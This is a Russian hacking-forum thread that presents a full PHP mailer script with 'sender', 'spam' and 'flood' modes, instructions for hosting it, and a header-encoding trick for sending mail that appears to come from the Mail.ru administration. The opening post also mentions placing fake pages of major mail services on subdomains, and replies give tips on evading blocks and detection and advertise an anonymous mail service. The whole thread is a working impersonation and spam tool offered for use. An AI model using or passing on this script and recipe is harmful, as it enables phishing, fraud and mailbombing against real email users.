Отправляем письмо от имени Администрация Mail.ru
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Отправляем письмо от имени Администрация Mail.ru - 2011-03-20 10:21:37.116666
|
|
|
fackav
Сообщений: 9
Оценки: 0
Присоединился: 2011-03-20 03:20:03.646666
|
Доброго времени суток уважаемые форумчане. Собственно в этой теме хочу открыть несколько секретов по отправке писем с подменой адреса, при этом подменять имена отправителей мы будем на имена администраторов почтовых серверов. Возможно кто нить меня за эту тему и осудит, но я считаю, что именно для этого и нужны форума, что бы одни люди задавали вопросы, а другие на них отвечали. Конечно можно просто послать человека куда нить в google.com или дать намек на то, где найти ответ, но не дать конкретного объяснения. Я же, увидев эту тему - http://forum.xakep.ru/m_2330039/tm.htm решил написать готовое решение по этому делу, которое есть на данный момент. Буду рассматривать пример с именем отправителя Администрация Mail.ru <support@corp.mail.ru> Первое, что нам понадобится, это простенький скрипт сендера: <title>flooder by }{ер знает чей</title>
<?
error_reporting (0);
if(!set_time_limit(0)) {
$limit = false;
} else {
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}
$log = 'log.txt';
ini_set('max_execution_time', '0');
?>
File log <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=Gold>access to entry</font>'); } else { echo('<font color=Red>no access to entry</font> (right to <font color=Gold>0777</font>)'); } } else { echo('no exist - right to <font color=Gold>0777</font>'); }?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (time work script limit)');?><br>
<?
$ip = getenv('REMOTE_ADDR');
if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{
$_POST['to'] = stripslashes($_POST['to']);
$_POST['msg'] = stripslashes($_POST['msg']);
$_POST['from'] = stripslashes($_POST['from']);
$_POST['subject'] = stripslashes($_POST['subject']);
if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
$headers .= "From: ".$_POST['from']."\n";
if($_GET['mail'] == '1')
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
}
elseif($_GET['mail'] == '2')
{
$_POST['to'] = explode("\n",$_POST['to']);
foreach($_POST['to'] as $poluchatels)
{
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
}
}
elseif($_GET['mail'] == '3')
{
if(preg_match('/[0-9]+/',$_POST['kol']))
{
for($i=0;$i<$_POST['kol'];$i++)
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('impossible send message');
sleep(1);
}
}
else
{
echo('wrong');
}
}
$f = fopen($log,'a');
fwrite($f,'send message and subject"'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
fclose($f);
echo('<center><b><font color="green">Отправленно</font></b></center>');
}
else
{
?>
<form style="width:350px" method='post'>
<?
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
{
echo("Мыло получателя <input type='text'name='to'><br>");
}
?>
Мыло отправителя <input type='text' name='from'><br>
Тема письма <input type='text' name='subject'><br>
<?
if($_GET['mail'] == '3')
{
echo("amount message <input type='text' name='kol'><br>");
}
?>
<br>
htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
<?
if($_GET['mail'] == '2')
{
echo("receive<br><textarea name='to' rows='10' cols='30'>@mail.ru</textarea>");
}
?>
<br>Текст письма<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Сендер</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Спам</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Флуд</a><br>
<?
}
?> копируем этот код, вставляем в текстовый документ с названием "index.txt", сохраняем, закрываем и меняем тип файла txt на php далее создаем текстовый документ с названием "log.txt" Далее нам понадобится хостинг с поддержкой php, можно конечно найти бесплатный, но мне лично по душе платные хостинги для такого дела, тем более, что обойдется вам домен + хостинг рублей в 300 максимум и потом раз в месяц будете еще по 30 рубликов доплачивать + если правильное название домену дадите и регнете хостинг, где можно создать хотя бы 5 поддоменов, то в дальнейшем можно поставить туда фэйки основных почтовых серверов. Собственно дальше заходим на ftp своего хоста, в папку public_html заливаем ваши "index.php" и "log.php", на "log.php" ставим права 777 и вуаля, ваш сендер готов. Двигаемся на него. В поле Мыло получателя вписываем мыло получателя :D в поле мыло отправителя, вписываем мыло отправителя :D … теперь небольшой секрет… если вам нужно, что бы письмо пришло получателю от имени: Администрация Mail.ru <support@corp.mail.ru> то в поле мыло отправителя пишем: [register]Администрация Mail.Ru=?UTF-8?Q?=3C?=support@corp.mail.ru>[/register] Ну собственно и все, далее в поле тема пишите тему :D в окне для текста пишете текст письма :D можно как просто в тексте отправить, так и в html Пробуйте и помните, что в том виде, в котором я выложил имя отправителя письма доходят на данный момент, но возможно уже завтра это имя придется прописывать иначе, т.к. админы тоже не спят. P.S. и никогда не стесняйтесь просить помощи, возможно после того, как вас 15 раз направят в google.com кто нить все таки и поможет.
|
|
|
RE: Отправляем письмо от имени Администрация Mail.ru - 2011-03-20 10:34:10.640000
|
|
|
Ltonid
Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
|
Дополню. Варианты ответов на вопрос "Почему у меня не работает?": 1) Ваш хостинг не поддерживает php 2) Ваш хостинг не поддерживает метод mail() или какой либо другой используемый в скрипте 3) Вы неправильно выполнили указания автора 4) Вас заблокировали за рассылку 5) Ваше письмо попало в спамбазу 6) Ваш ip попал в спамбазу Варианты ответов на вопрос "Какой хостинг надо?" 1) Платный - 99% что будет все работать 2) Условно бесплатный - куча рекламы + доплата за доп услуги - 50% что будет все работать 3) Бесплатный - 2% что будет все работать 4) Бесплатный популярный - 99% что ничего не будет работать Варианты ответов на вопрос "А могут ли меня спалить?" 1) Да, если ip принадлежит вам 2) И да и нет, если хостинг держит на одном ip много хостов Вопросы типа "Как отправить от администратора гмыла?" лучше даже не пишите в теме, это не имеет отношения к данному вопросу.
|
|
|
RE: Отправляем письмо от имени Администрация Mail.ru - 2011-03-20 13:14:28.743333
|
|
|
VitoScalleta
Сообщений: 15
Оценки: 0
Присоединился: 2011-03-06 17:34:34.586666
|
Вот мои сервис отправки анонимного мыла http://vkall.h18.ru/
|
|
|
RE: Отправляем письмо от имени Администрация Mail.ru - 2011-03-22 16:34:39.030000
|
|
|
fackav
Сообщений: 9
Оценки: 0
Присоединился: 2011-03-20 03:20:03.646666
|
quote:
Вот мои сервис отправки анонимного мыла http://vkall.h18.ru/ Проверил сервис. Отправлял от имени: Администрация Mail.ru <support@corp.mail.ru> Встали ненужные ковычки, одна из которых совсем не поместу, т.е. пришло в виде: "Администрация Mail.ru <support"@corp.mail.ru> и пришло соответственно в спам. Совет: проверь все в первую очередь, переставь на платный хостинг… я не думаю, что 150 рублей на домен и 30 рублей в месяц за хостин кого то убьют… ну и не пали сендер в паблике, т.к. очень скоро с твоего сендера перестанут доходить письма.
|
|
|
RE: Отправляем письмо от имени Администрация Mail.ru - 2011-11-04 14:26:10.600000
|
|
|
luckyxakep_antiban
Сообщений: 44
Оценки: 0
Присоединился: 2011-10-20 16:02:05.646666
|
Только текст отправляет, в HTML не шлёт?
|
|
|
|
|